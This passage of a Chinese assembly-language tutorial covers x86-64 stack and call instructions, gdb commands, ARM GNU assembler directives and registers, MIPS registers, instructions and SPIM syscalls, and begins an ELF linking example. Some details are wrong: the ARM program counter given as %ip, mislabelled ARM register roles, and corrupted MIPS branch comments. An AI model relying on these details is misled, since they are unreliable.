%rsp 寄存器用作 " 栈指针 "; pushpop 用于添加或者删除栈内存中的值. push 指令只有一个参数, 这个参数是立即数常数, 寄存器或内存单元. push 指令先把 %rsp 的值递减, 然后将参数复制到栈内存上的 tompost. pop 指令也只有一个参数, 即目标寄存器. pop 先把栈内存最顶层的值复制到目标寄存器, 然后把 %rsp 递增. 直接调整 %rsp, 以通过单个参数添加或删除整个数组或变量集合也是可以的. 但注意, 栈内存是朝下增长 ( 即朝向较低地址 ).

+
push %rbx ;把 %rbx 入栈
+pushq $0x3 ;把立即数 3 入栈
+sub $0x10, %rsp ;调整栈指针以空出 16 字节
+
+pop %rax ;把栈中最顶层的值出栈到寄存器 %rax 中
+add $0x10, %rsp ;调整栈指针以删除最顶层的 16 个字节
+
+

函数之间是通过互相调用返回来互相控制的. callq 指令有一个参数, 即被调用的函数的地址. 它将返回来的地址入栈, 这个返回来的地址即 %rip 当前的值, 也即是调用函数后的下一条指令. 然后这个指令让程序跳转到被调用的函数的地址. retq 指令把刚才入栈的地址给出栈, 让它回到 %rip 中, 从而让程序在保存的返回地址处重新开始, 就是说你中途跳到别的地方去, 你回来的时候要从你跳的那个地方重新开始.

+

当然, 你如果要设置这种函数间的互相调用, 调用者需要将前六个参数放入寄存器 %rdi, %rsi, %rdx, %rcx, %r8 和 %r9 ( 任何其它参数都入栈 ), 然后再执行调用指令.

+
mov $0x3, %rdi ;第一个参数在 %rdi 中
+mov $0x7, %rsi ;第二个参数在 %rsi 中
+callq binky ;把程序交给 binky 控制
+
+

当被调用者那个函数完事的时候, 这个函数将返回值 ( 如果有的话 ) 写入 %rax, 然后清理栈内存, 并使用 retq 指令把程序控制权交还给调用者.

+
mov $0x0, %eax ;将返回值写入 %rax
+add $0x10, %rsp ;清理栈内存
+retq ;交还控制权, 跳回去
+
+

这些分支跳转指令的目标通常是在编译时确定的绝对地址. 但是, 有些情况下直到运行程序的时候, 我们才知道目标的绝对内存地址. 例如编译为跳转表的 switch 语句或调用函数指针时. 对于这些, 我们先计算目标地址, 然后把地址存到寄存器中, 然后用 分支/调用( branch/call ) 变量 je *%raxcallq *%rax 从指定寄存器中读取目标地址.

+

当然还有更简单的方法, 就是上一节讲的打标签.

+

3.4.5 汇编和 gdb

+

调试器 ( debugger ) 有许多功能, 这可以让你可以在程序中追踪和调试代码. 你可以通过在其名称上加个 $ 来打印寄存器中的值, 或者使用命令 info reg 转储所有寄存器的值 :

+
(gdb) p $rsp
+(gdb) info reg
+
+

disassemble 命令按照名称打印函数的反汇编. x 命令支持 i 格式, 这个格式把内存地址的内容解释为编码指令 ( 解码 ).

+
(gdb) disassemble main //反汇编, 然后打印所有 main 函数的指令
+(gdb) x/8i main //反汇编, 然后打印开始的 8 条指令
+
+

你可以通过在函数中的直接地址或偏移量为特定汇编指令设置断点.

+
(gdb) b *0x08048375
+(gdb) b *main+7 //在 main+7个字节这里设置断点
+
+

你可以用 stepinexti 命令来让程序通过指令 ( 而不是源代码 ) 往前执行.

+
(gdb) stepi
+(gdb) nexti
+
+

3.5 ARM汇编基础

+

3.5.1 引言

+

本章所讲述的是在 GNU 汇编程序下的 ARM 汇编快速指南,而所有的代码示例都会采用下面的结构:

+
[< 标签 label :]  {<指令 instruction or directive } @ 注释 comment
+
+

在 GNU 程序中不需要缩进指令。程序的标签是由冒号识别而与所处的位置无关。 就通过一个简单的程序来介绍:

+
.section .text, "x"
+.global   add @给符号添加外部链接
+add:
+       ADD    r0, r0, r1    @添加输入参数
+      MOV    pc, lr         @从子程序返回
+                            @程序结束
+
+

它定义的是一个返回总和函数 “ add ”,允许两个输入参数。通过了解这个程序实例,想必接下来这类程序的理解我们也能够很好的的掌握。

+

3.5.2 ARM 的 GNU 汇编程序指令表

+

在 GNU 汇编程序下的 ARM 指令集涵括如下:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
GUN 汇编程序指令描述
.ascii "<string>"将字符串作为数据插入到程序中
.asciz "<string>"与 .ascii 类似,但跟随字符串的零字节
.balign <power_of_2> {,<fill_value>{,<max_padding>} }将地址与 <power_of_2> 字节对齐。 汇编程序通过添加值 <fill_value> 的字节或合适的默认值来对齐. 如果需要超过 <max_padding> 这个数字来填充字节,则不会发生对齐( 类似于armasm 中的 ALIGN )
.byte <byte1> {,<byte2> } …将一个字节值列表作为数据插入到程序中
.code <number_of_bits>以位为单位设置指令宽度。 使用 16 表示 Thumb,32 表示 ARM 程序( 类似于 armasm 中的 CODE16 和 CODE32 )
.else与.if和 .endif 一起使用( 类似于 armasm 中的 ELSE )
.end标记程序文件的结尾( 通常省略 )
.endif结束条件编译代码块 - 参见.if,.ifdef,.ifndef( 类似于 armasm 中的 ENDIF )
.endm结束宏定义 - 请参阅 .macro( 类似于 armasm 中的 MEND )
.endr结束重复循环 - 参见 .rept 和 .irp(类似于 armasm 中的 WEND )
.equ <symbol name>, <vallue>该指令设置符号的值( 类似于 armasm 中的 EQU )
.err这个会导致程序停止并出现错误
.exitm中途退出一个宏 - 参见 .macro( 类似于 armasm 中的 MEXIT )
.global <symbol>该指令给出符号外部链接( 类似于 armasm 中的 MEXIT )。
.hword <short1> {,<short2> }...将16位值列表作为数据插入到程序中( 类似于 armasm 中的 DCW )
.if <logical_expression>把一段代码变成前提条件。 使用 .endif 结束代码块( 类似于 armasm中的 IF )。 另见 .else
.ifdef <symbol>如果定义了 <symbol>,则包含一段代码。 结束代码块用 .endif, 这就是个条件判断嘛, 很简单的.
.ifndef <symbol>如果未定义 <symbol>,则包含一段代码。 结束代码块用 .endif, 同上.
.include "<filename>"包括指定的源文件, 类似于 armasm 中的 INCLUDE 或 C 中的#include
.irp <param> {,<val 1>} {,<val_2>} ...为值列表中的每个值重复一次代码块。 使用 .endr 指令标记块的结尾。 在里面重复代码块,使用 \<param> 替换关联的代码块值列表中的值。
.macro <name> {<arg_1>} {,< arg_2>} ... {,<arg_N>}使用 N 个参数定义名为<name>的汇编程序宏。宏定义必须以 .endm 结尾。 要在较早的时候从宏中逃脱,请使用 .exitm。 这些指令是类似于 armasm 中的 MACRO,MEND 和MEXIT。 你必须在虚拟宏参数前面加 \.
.rept <number_of_times>重复给定次数的代码块。 以.endr结束。
<register_name> .req <register_name>该指令命名一个寄存器。 它与 armasm 中的 RN 指令类似,不同之处在于您必须在右侧提供名称而不是数字(例如,acc .req r0
.section <section_name> {,"<flags> "}启动新的代码或数据部分。 GNU 中有这些部分:.text代码部分;.data初始化数据部分和.bss未初始化数据部分。 这些部分有默认值flags和链接器理解默认名称(与armasm指令AREA类似的指令)。 以下是 ELF 格式文件允许的 .section标志: a 表示 allowable section w 表示 writable section x 表示 executable section
.set <variable_name>, <variable_value>该指令设置变量的值。 它类似于 SETA。
.space <number_of_bytes> {,<fill_byte> }保留给定的字节数。 如果指定了字节,则填充零或 <fill_byte>(类似于 armasm 中的 SPACE)
.word <word1> {,<word2>}...将 32 位字值列表作为数据插入到程序集中(类似于 armasm 中的 DCD)。
+

3.5.3 寄存器名称

+

通用寄存器:

+

%r0 - %r15

+

fp 寄存器:

+

%f0 - %f7

+

临时寄存器:

+

%r0 - %r3, %r12

+

保存寄存器:

+

%r4 - %r10

+

堆栈 ptr 寄存器:

+

%sp

+

帧 ptr 寄存器:

+

%fp

+

链接寄存器:

+

%lr

+

程序计数器:

+

%ip

+

状态寄存器:

+

$psw

+

状态标志寄存器:

+

xPSR

+

xPSR_all

+

xPSR_f

+

xPSR_x

+

xPSR_ctl

+

xPSR_fs

+

xPSR_fx

+

xPSR_fc

+

xPSR_cs

+

xPSR_cf

+

xPSR_cx

+

3.5.4 汇编程序特殊字符/语法

+

内联评论字符: '@'

+

行评论字符: '#'

+

语句分隔符: ';'

+

立即操作数前缀: '#' 或 '$'

+

3.5.5 arm程序调用标准

+

参数寄存器 :%a0 - %a4(别名为%r0 - %r4)

+

返回值regs :%v1 - %v6(别名为%r4 - %r9)

+

3.5.6 寻址模式

+

addr 绝对寻址模式

+

%rn 寄存器直接寻址

+

[%rn] 寄存器间接寻址或索引

+

[%rn,#n] 基于寄存器的偏移量

+

上述 "rn" 指任意寄存器,但不包括控制寄存器。

+

3.5.7 机器相关指令

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
指令描述
.arm使用arm模式进行装配
.thumb使用thumb模式进行装配
.code16使用thumb模式进行装配
.code32使用arm模式进行组装
.force_thumb Forcethumb模式(即使不支持)
.thumb_func将输入点标记为thumb编码(强制bx条目)
.ltorg启动一个新的文字池
+

3.6 MIPS汇编基础

+

数据类型和常量

+
    +
  • 数据类型:
  • +
  • 指令全是32位
  • +
  • 字节(8位),半字(2字节),字(4字节)
  • +
  • 一个字符需要1个字节的存储空间
  • +
  • 整数需要1个字(4个字节)的存储空间
  • +
  • 常量:
  • +
  • 按原样输入的数字。例如 4
  • +
  • 用单引号括起来的字符。例如 'b'
  • +
  • 用双引号括起来的字符串。例如 “A string”
  • +
+

寄存器

+
    +
  • 32个通用寄存器
  • +
  • 寄存器前面有 $
  • +
+

两种格式用于寻址:

+
    +
  • 使用寄存器号码,例如 $ 0$ 31
  • +
  • 使用别名,例如 $ t1$ sp
  • +
  • 特殊寄存器 Lo 和 Hi 用于存储乘法和除法的结果
  • +
  • 不能直接寻址; 使用特殊指令 mfhi( “ 从 Hi 移动 ” )和 mflo( “ 从 Lo 移动 ” )访问的内容
  • +
  • 栈从高到低增长
  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
寄存器别名用途
$0$zero常量0(constant value 0)
$1$at保留给汇编器(Reserved for assembler)
$2-$3$v0-$v1函数调用返回值(values for results and expression evaluation)
$4-$7$a0-$a3函数调用参数(arguments)
$8-$15$t0-$t7暂时的(或随便用的)
$16-$23$s0-$s7保存的(或如果用,需要SAVE/RESTORE的)(saved)
$24-$25$t8-$t9暂时的(或随便用的)
$26~$27$k0~$k1保留供中断/陷阱处理程序使用
$28$gp全局指针(Global Pointer)
$29$sp堆栈指针(Stack Pointer)
$30$fp帧指针(Frame Pointer)
$31$ra返回地址(return address)
+

再来说一说这些寄存器 :

+
    +
  • zero 它一般作为源寄存器,读它永远返回 0,也可以将它作为目的寄存器写数据,但效果等于白写。为什么单独拉一个寄存器出来返回一个数字呢?答案是为了效率,MIPS 的设计者只允许在寄存器内执行算术操作,而不允许直接操作立即数。所以对最常用的数字 0 单独留了一个寄存器,以提高效率
  • +
  • at 该寄存器为给编译器保留,用于处理在加载 16 位以上的大常数时使用,编译器或汇编程序需要把大常数拆开,然后重新组合到寄存器里。系统程序员也可以显式的使用这个寄存器,有一个汇编 directive 可被用来禁止汇编器在 directive 之后再使用 at 寄存器。
  • +
  • v0, v1.这两个很简单,用做函数的返回值,大部分时候,使用 v0 就够了。如果返回值的大小超过 8 字节,那就需要分配使用堆栈,调用者在堆栈里分配一个匿名的结构,设置一个指向该参数的指针,返回时 v0 指向这个对应的结构,这些都是由编译器自动完成。
  • +
  • a0-a3. 用来传递函数入参给子函数。看一下这个例子: ret = strncmp("bear","bearer",4) 参数少于 16 字节,可以放入寄存器中,在 strncmp 的函数里,a0 存放的是 "bear" 这个字符串所在的只读区地址,a1 是 "bearer" 的地址,a2 是 4.
  • +
  • t0-t9 临时寄存器 s0-s8 保留寄存器 这两种寄存器需要放在一起说,它们是 mips 汇编里面代码里见到的最多的两种寄存器,它们的作用都是存取数据,做计算、移位、比较、加载、存储等等,区别在于,t0-t9 在子程序中可以使用其中的值,并不必存储它们,它们很适合用来存放计算表达式时使用的“临时”变量。如果这些变量的使用要要跳转到子函数之前完成,因为子函数里很可能会使用相同的寄存器,而且不会有任何保护。如果子程序里不会调用其它函数那么建议尽量多的使用t0-t9,这样可以避免函数入口处的保存和结束时的恢复。 相反的,s0-s8 在子程序的执行过程中,需要将它们存储在堆栈里,并在子程序结束前恢复。从而在调用函数看来这些寄存器的值没有变化。
  • +
  • k0, k1. 这两个寄存器是专门预留给异常处理流程中使用。异常处理流程中有什么特别的地方吗?当然。当 MIPS CPU 在任务里运行的时候,一旦有外部中断或者异常发生,CPU 就会立刻跳转到一个固定地址的异常 handler 函数执行,并同时将异常结束后返回到任务的指令地址记录在 EPC 寄存器(Exception Program Counter)里。习惯性的,异常 handler 函数开头总是会保持现场即 MIPS 寄存器到中断栈空间里,而在异常返回前,再把这些寄存器的值恢复回去。那就存在一个问题,这个 EPC 里的值存放在哪里?异常 handler 函数的最后肯定是一句 jr x,X 是一个 MIPS 寄存器,如果存放在前面提到的 t0,s0 等等,那么 PC 跳回任务执行现场时,这个寄存器里的值就不再是异常发生之前的值。所以必须要有时就可以一句 jr k0指令返回了。 k1 是另外一个专为异常而生的寄存器,它可以用来记录中断嵌套的深度。CPU 在执行任务空间的代码时,k1 就可以置为 0,进入到中断空间,每进入一次就加 1,退出一次相应减 1,这样就可以记录中断嵌套的深度。这个深度在调试问题的时候经常会用到,同时应用程序在做一次事情的时候可能会需要知道当前是在任务还是中断上下文,这时,也可以通过 k1 寄存器是否为 0 来判断。
  • +
  • sp 指向当前正在操作的堆栈顶部,它指向堆栈中的下一个可写入的单元,如果从栈顶获取一个字节是 sp-1 地址的内容。在有 RTOS 的系统里,每个 task 都有自己的一个堆栈空间和实时 sp 副本,中断也有自己的堆栈空间和 sp 副本,它们会在上下文切换的过程中进行保存和恢复。
  • +
  • gp 这是一个辅助型的寄存器,其含义较为模糊,MIPS 官方为该寄存器提供了两个用法建议,一种是指向 Linux 应用中位置无关代码之外的数据引用的全局偏移量表; 在运行 RTOS 的小型嵌入式系统中,它可以指向一块访问较为频繁的全局数据区域,由于MIPS 汇编指令长度都是 32bit,指令内部的 offset 为 16bit,且为有符号数,所以能用一条指令以 gp 为基地址访问正负 15bit 的地址空间,提高效率。那么编译器怎么知道gp初始化的值呢?只要在 link 文件中添加 _gp 符号,连接器就会认为这是 gp 的值。我们在上电时,将 _gp 的值赋给 gp 寄存器就行了。 话说回来,这都是 MIPS 设计者的建议,不是强制,楼主还见过一种 gp 寄存器的用法,来在中断和任务切换时做 sp 的存储过渡,也是可以的。
  • +
  • fp 这个寄存器不同的编译器对其解释不同,GNU MIPS C 编译器使用其作为帧指针,指向堆栈里的过程帧(一个子函数)的第一个字,子函数可以用其做一个偏移访问栈帧里的局部变量,sp 也可以较为灵活的移动,因为在函数退出之前使用 fp 来恢复;还要一种而 SGI 的 C 编译器会将这个寄存器直接作为 s8,扩展了一个保留寄存器给编译器使用。
  • +
  • ra 在函数调用过程中,保持子函数返回后的指令地址。汇编语句里函数调用的形式为: jal function_X 这条指令 jal(jump-and-link,跳转并链接) 指令会将当期执行运行指令的地址 +4 存储到 ra 寄存器里,然后跳转到 function_X 的地址处。相应的,子函数返回时,最常见的一条指令就是 jr ra ra 是一个对于调试很有用的寄存器,系统的运行的任何时刻都可以查看它的值以获取 CPU 的运行轨迹。
  • +
+

最后,如果纯写汇编语句的话,这些寄存器当中除了 zero 之外,其它的基本上都可以做普通寄存器存取数据使用(这也是它们为什么会定义为“通用寄存器”,而不像其它的协处理器、或者外设的都是专用寄存器,其在出厂时所有的功能都是定死的),那为什么有这么多规则呢 ?MIPS 开发者们为了让自己的处理器可以运行像 C、Java 这样的高级语言,以及让汇编语言和高级语言可以安全的混合编程而设计的一套 ABI(应用编程接口),不同的编译器的设计者们就会有据可依,系统程序员们在阅读、修改汇编程序的时候也能根据这些约定而更为顺畅地理解汇编代码的含义。

+

程序结构

+
    +
  • 本质上只是带有数据声明的纯文本文件,程序代码 ( 文件名应以后缀 .s 结尾,或者.asm )
  • +
  • 数据声明部分后跟程序代码部分
  • +
+

数据声明

+
    +
  • 数据以 .data 为标识
  • +
  • 声明变量后,即在内存中分配空间
  • +
+

代码

+
    +
  • 放在用汇编指令 .text 标识的文本部分中
  • +
  • 包含程序代码( 指令 )
  • +
  • 给定标签 main 代码执行的起点 ( 和 C 语言一样 )
  • +
  • 程序结束标志(见下面的系统调用)
  • +
+

注释

+
    +
  • # 表示单行注释
  • +
+

# 后面的任何内容都会被视为注释

+
    +
  • MIPS 汇编语言程序的模板:
  • +
+
#给出程序名称和功能描述的注释
+#Template.s
+#MIPS汇编语言程序的Bare-bones概述
+
+            .data #变量声明遵循这一行
+                        #...
+            .text#指令跟随这一行
+
+ main:#表示代码的开始(执行的第一条指令)
+                        #...
+
+#程序结束,之后留空,让SPIM满意.
+
+

变量声明

+

声明格式:

+
name:storage_type value(s)
+
+

使用给定名称和指定值为指定类型的变量创建空间

+

value (s) 通常给出初始值; 对于.space,给出要分配的空格数

+

注意:标签后面跟冒号(:)

+
    +
  • 例如
  • +
+
var1:.word 3 #创建一个初始值为 3 的整数变量
+array1:.byte'a','b' #创建一个元素初始化的 2 元素字符数组到 a 和 b
+
+array2:.space 40  #分配 40 个连续字节, 未初始化的空间可以用作 40 个元素的字符数组, 或者是
+                                   #10 个元素的整数数组.
+
+

读取/写入 ( Load/Store )指令

+
    +
  • 对 RAM 的访问, 仅允许使用加载和存储指令 ( 即 load 或者 store)
  • +
  • 所有其他指令都使用寄存器参数
  • +
+

load

+
lw register_destination,RAM_source
+#将源内存地址的字 ( 4 个字节 ) 复制到目标寄存器,(lw中的'w'意为'word',即该数据大小为4个字节)
+lb register_destination,RAM_source
+#将源内存地址的字节复制到目标寄存器的低位字节, 并将符号映射到高位字节 ( 同上, lb 意为 load byte )
+
+

store

+
sw register_source,RAM_destination
+#将源寄存器的字存储到目标内存RAM中
+sb register_source,RAM_destination
+#将源寄存器中的低位字节存储到目标内存RAM中
+
+

立即加载:

+
li register_destination,value
+#把立即值加载到目标寄存器中,顾名思义, 这里的 li 意为 load immediate, 即立即加载.
+
+
    +
  • 例子
  • +
+
       .data
+var1:  .word  23            # 给变量 var1 在内存中开辟空间, 变量初始值为 23
+
+       .text
+__start:
+       lw     $t0, var1            # 将内存单元中的内容加载到寄存器中 $t0:  $t0 = var1
+       li     $t1, 5               #  $t1 = 5   ("立即加载")
+       sw     $t1, var1            # 把寄存器$t1的内容存到内存中 : var1 = $t1
+       done
+
+

间接和立即寻址

+
    +
  • 仅用于读取和写入指令
  • +
+

*直接给地址:*

+
       la $t0,var1
+
+
    +
  • 将 var1 的内存地址(可能是程序中定义的标签)复制到寄存器 $t0
  • +
+

*间接寻址, 地址是寄存器的内容, 类似指针:*

+
       lw $t2,($t0)
+
+
    +
  • $t0 中包含的 RAM 地址加载到 $t2
  • +
+
       sw $t2,($t0)
+
+
    +
  • $t2 寄存器中的字存储到 $t0 中包含的地址的 RAM 中
  • +
+

*基于偏移量的寻址:*

+
       lw $t2, 4($t0)
+
+
    +
  • 将内存地址 ( $t0 + 4 ) 的字加载到寄存器 $t2
  • +
  • “ 4 ” 给出了寄存器 $t0 中地址的偏移量
  • +
+
       sw $t2,-12($t0)
+
+
    +
  • +

    将寄存器 $t2 中的字放到内存地址( $t0 - 12

    +
  • +
  • +

    负偏移也是可以的, 反向漂移方不方 ?

    +
  • +
+

注意:基于偏移量 的寻址特别适用于:

+
    +
  • +

    数组; 访问元素作为与基址的偏移量

    +
  • +
  • +

    栈; 易于访问偏离栈指针或帧指针的元素

    +
  • +
  • +

    例子

    +
  • +
+
 .data
+ array1:             .space 12            #  定义一个 12字节 长度的数组 array1, 容纳 3个整型
+              .text
+ __start:     la     $t0, array1          #  让 $t0 = 数组首地址
+              li     $t1, 5               #  $t1 = 5   ("load immediate")
+              sw $t1, ($t0)               #  数组第一个元素设置为 5; 用的间接寻址; array[0] = $1 = 5
+              li $t1, 13                  #   $t1 = 13
+              sw $t1, 4($t0)              # 数组第二个元素设置为 13; array[1] = $1 = 13
+              #该数组中每个元素地址相距长度就是自身数据类型长度,即4字节, 所以对于array+4就是array[1]
+              li $t1, -7                  #   $t1 = -7
+              sw $t1, 8($t0)              #  第三个元素设置为 -7;  
+#array+8 = (address[array[0])+4)+ 4 = address(array[1]) + 4 = address(array[2])
+              done
+
+

算术指令

+
    +
  • 最多使用3个参数
  • +
  • 所有操作数都是寄存器; 不能有内存地址的存在
  • +
  • 操作数大小是字 ( 4个字节 ), 32位 = 4 * 8 bit = 4bytes = 1 word
  • +
+
add    $t0,$t1,$t2   #  $t0 = $t1 + $t2;添加为带符号(2 的补码)整数
+sub    $t2,$t3,$t4   #  $t2 = $t3 Ð $t4
+addi   $t2,$t3, 5    #  $t2 = $t3 + 5;
+addu   $t1,$t6,$t7   #  $t1 = $t6 + $t7;跟无符号数那样相加
+subu   $t1,$t6,$t7   #  $t1 = $t6 - $t7;跟无符号数那样相减
+
+mult   $t3,$t4       # 运算结果存储在hi,lo(hi高位数据, lo地位数据)
+div    $t5,$t6       #  Lo = $t5 / $t6   (整数商)
+                     #  Hi = $t5 mod $t6   (求余数)
+                     #商数存放在 lo, 余数存放在 hi
+mfhi   $t0           #  把特殊寄存器 Hi 的值移动到 $t0 : $t0 = Hi
+mflo   $t1           #  把特殊寄存器 Lo 的值移动到 $t1:   $t1 = Lo
+#不能直接获取 hi 或 lo中的值, 需要mfhi, mflo指令传值给寄存器
+
+move   $t2,$t3       #  $t2 = $t3
+
+

流程控制

+

分支 ( if-else )

+
    +
  • 条件分支的比较内置于指令中
  • +
+
              b target #无条件分支,直接到程序标签目标
+              beq $t0, $t1, target #if $t0 = $ t1, 就跳到目标
+              blt $t0, $t1, target #if $t0 <$ t1, 就跳到目标
+              ble $t0, $t1, target #if $t0 <= $ t1, 就跳到目标
+              bgt $t0, $t1, target #if $t0  $ t1, 就跳到目标
+              bge $t0, $t1, target #if $t0  = $ t1, 就跳到目标
+              bne    $t0, $t1, target #if  $t0 < $t1, 就跳到目标
+
+

跳转 ( while, for, goto )

+
 j     target #看到就跳, 不用考虑任何条件
+ jr    $t3    #类似相对寻址,跳到该寄存器给出的地址处
+
+

子程序调用

+

子程序调用:“ 跳转和链接 ” 指令

+
       jal sub_label #“跳转和链接”
+
+
    +
  • +

    将当前的程序计数器保存到 $ra

    +
  • +
  • +

    跳转到 sub_label 的程序语句

    +
  • +
+

子程序返回:“跳转寄存器”指令

+
       jr $ra       #“跳转寄存器”
+
+
    +
  • 跳转到$ ra中的地址(由jal指令存储)
  • +
+

注意:寄存地址存储在寄存器 $ra 中; 如果子例程将调用其他子例程,或者是递归的,则返回地址应该从 $ra 复制到栈以保留它,因为 jal 总是将返回地址放在该寄存器中,因此将覆盖之前的值

+

系统调用和 I / O( 针对 SPIM 模拟器 )

+
    +
  • +

    通过系统调用实现从输入/输出窗口读取或打印值或字符串,并指示程序结束

    +
  • +
  • +

    syscall

    +
  • +
  • +

    首先在寄存器 $v0$a0 - $a1中提供适当的值

    +
  • +
  • +

    寄存器 $v0 中存储返回的结果值( 如果有的话 )

    +
  • +
+

下表列出了可能的 系统调用 服务。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Service 服务Code in $v0 对应功能的调用码Arguments 所需参数Results 返回值
print 一个整型数$v0 = 1$a0 = 要打印的整型数
print 一个浮点数$v0 = 2$f12 = 要打印的浮点数
print 双精度数$v0 = 3$f12 = 要打印的双精度数
print 字符串$v0 = 4$a0 = 要打印的字符串的地址
读取 ( read ) 整型数$v0 = 5$v0 = 读取的整型数
读取 ( read ) 浮点数$v0 = 6$v0 = 读取的浮点数
读取 ( read ) 双精度数$v0= 7$v0 = 读取的双精度
读取 ( read ) 字符串$v0 = 8将读取的字符串地址赋值给 $a0; 将读取的字符串长度赋值给 $a1
这个应该和 C 语言的 sbrk() 函数一样$v0 = 9需要分配的空间大小(单位目测是字节 bytes)将分配好的空间首地址给 $v0
exit$v0 =10这个还要说吗.....= _ =
+
    +
  • +
      +
    • print_stringprint 字符串 服务期望启动以 null 结尾的字符串。指令.asciiz 创建一个以 null 结尾的字符串。
    • +
    +
  • +
  • +

    read_intread_floatread_double 服务读取整行输入,包括换行符\n

    +
  • +
  • +

    read_string

    +

    服务与 UNIX 库例程 fgets 具有相同的语义。

    +
      +
    • 它将最多 n-1 个字符读入缓冲区,并以空字符终止字符串。
    • +
    • 如果当前行中少于 n-1 个字符,则它会读取并包含换行符,并使用空字符终止该字符串。
    • +
    • 就是输入过长就截取,过短就这样,最后都要加一个终止符。
    • +
    +
  • +
  • +

    sbrk 服务将地址返回到包含 n 个附加字节的内存块。这将用于动态内存分配。

    +
  • +
  • +

    退出服务使程序停止运行

    +
  • +
  • +

    例子 : 打印一个存储在 $2 的整型数

    +
  • +
+
 li $v0, 1    #声明需要调用的操作代码为 1 ( print_int ), 然后赋值给 $v0
+ move $a0, $t2 #把这个要打印的整型数赋值给 $a0
+ syscall #让操作系统执行我们的操作
+
+
    +
  • 例子 : 读取一个数,并且存储到内存中的 int_value 变量中
  • +
+

masm + li $v0, 5 #声明需要调用的操作代码为 5 ( read_int ), 然后赋值给 $v0 + syscall #让操作系统执行我们的操作, 然后 $v0 = 5 + sw $v0, int_value #通过写入(store_word)指令 将 $v0 的值(5)存入内存中

+
    +
  • 例子 : 打印一个字符串 ( 这是完整的,其实上面例子都可以直接替换 main: 部分,都能直接运行 )
  • +
+
              .data
+ string1             .asciiz       "Print this.\n"             # 字符串变量声明
+                                          # .asciiz 指令使字符串 null 终止
+
+              .text
+ main: li     $v0, 4               # 将适当的系统调用代码加载到寄存器 $v0 中
+                                   # 打印字符串, 赋值对应的操作代码 $v0 = 4
+              la     $a0, string1  # 将要打印的字符串地址赋值  $a0 = address(string1)
+              syscall              # 让操作系统执行打印操作
+
+
+ 要指示程序结束, 应该退出系统调用, 所以最后一行代码应该是这个 :
+              li     $v0, 10     #对着上面的表, 不用说了吧
+              syscall              # 让操作系统结束这一切吧 !
+
+

补充 : MIPS 指令格式

+
    +
  • R格式
  • +
+ + + + + + + + + + + + + + + + + + + + + +
655556
oprsrtrdshamtfunct
+

用处: 寄存器 - 寄存器 ALU 操作 读写专用寄存器

+
    +
  • I格式
  • +
+ + + + + + + + + + + + + + + + + +
65516
oprsrt立即数操作
+

用处: 加载/存储 字节,半字,字,双字 条件分支,跳转,跳转并链接寄存器

+
    +
  • J格式
  • +
+ + + + + + + + + + + + + +
626
op跳转地址
+

用处: 跳转,跳转并链接 陷阱和从异常中返回

+

各字段含义: op : 指令基本操作,称为操作码。 rs : 第一个源操作数寄存器。 rt : 第二个源操作数寄存器。 rd : 存放操作结果的目的操作数。 shamt : 位移量; funct : 函数,这个字段选择 op 操作的某个特定变体。

+

例:

+
add $t0,$s0,$s1
+
+

表示$t0=$s0+$s1,即 16 号寄存器( s0 ) 的内容和 17 号寄存器 ( s1 ) 的内容相加,结果放到 8 号寄存器 ( t0 )。 指令各字段的十进制表示为:

+ + + + + + + + + + + + + + + + + + + + + +
016178032
+

op = 0 和 funct = 32 表示这是加法, 16 = $s0 表示第一个源操作数 ( rs ) 在 16 号寄存器里,

+

17 = $s1 表示第二个源操作数 ( rt ) 在 17 号寄存器里, 8 = $t0 表示目的操作数 ( rd ) 在 8 号寄存器里。 把各字段写成二进制,为:

+ + + + + + + + + + + + + + + + + + + + + +
00000010000100010100000000100000
+

这就是上述指令的机器码( machine code ), 可以看出是很有规则性的。

+

补充 : MIPS 常用指令集

+

lb/lh/lw : 从存储器中读取一个 byte / half word / word 的数据到寄存器中.

+

lb $1, 0($2) sb/sh/sw : 把一个 byte / half word / word 的数据从寄存器存储到存储器中.

+

sb $1, 0($2) add/addu : 把两个定点寄存器的内容相加

+

add $1,$2,$3($1=$2+$3); u 为不带符号加

+

addi/addiu : 把一个寄存器的内容加上一个立即数

+

add $1,$2,#3($1=$2+3); u 为不带符号加 sub/subu :把两个定点寄存器的内容相减 div/divu : 两个定点寄存器的内容相除 mul/mulu : 两个定点寄存器的内容相乘 and/andi : 与运算,两个寄存器中的内容相与

+

and $1,$2,$3($1=$2 & $3);i为立即数。 or/ori : 或运算。 xor/xori : 异或运算。 beq/beqz/benz/bne : 条件转移 eq 相等,z 零,ne 不等 j/jr/jal/jalr : j 直接跳转;jr 使用寄存器跳转 lui : 把一个 16 位的立即数填入到寄存器的高 16 位,低 16 位补零 sll/srl : 逻辑 左移 / 右移

+

sll $1,$2,#2 slt/slti/sltui : 如果 $2 的值小于 $3,那么设置 $1 的值为 1,否则设置 $1 的值为 0

+

slt $1,$2,$3 mov/movz/movn : 复制,n 为负,z 为零

+

mov $1,$2; movz $1,$2,$3 ( $3 为零则复制 $2$1 ) trap : 根据地址向量转入管态 eret : 从异常中返回到用户态

+

Linux ELF

+ +

一个实例

+

1.5.1节 C语言基础 中我们看到了从源代码到可执行文件的全过程,现在我们来看一个更复杂的例子。

+
#include<stdio.h>
+
+int global_init_var = 10;
+int global_uninit_var;
+
+void func(int sum) {
+    printf("%d\n", sum);
+}
+
+void main(void) {
+    static int local_static_init_var = 20;
+    static int local_static_uninit_var;
+
+    int local_init_val = 30;
+    int local_uninit_var;
+
+    func(global_init_var + local_init_val +
+         local_static_init_var );
+}
+
+

然后分别执行下列命令生成三个文件:

+
gcc -m32 -c elfDemo.c -o elfDemo.o
+
+gcc -m32 elfDemo.c -o elfDemo.out
+
+gcc -m32 -static elfDemo.c -o elfDemo_static.out
+
+

使用 ldd 命令打印所依赖的共享库:

+
$ ldd elfDemo.out
+        linux-gate.so.1 (0xf77b1000)
+        libc.so.6 => /usr/lib32/libc.so.6 (0xf7597000)
+        /lib/ld-linux.so.2 => /usr/lib/ld-linux.so.2 (0xf77b3000)
+$ ldd elfDemo_static.out
+        not a dynamic executable
+
+

elfDemo_static.out 采用了静态链接的方式。

+

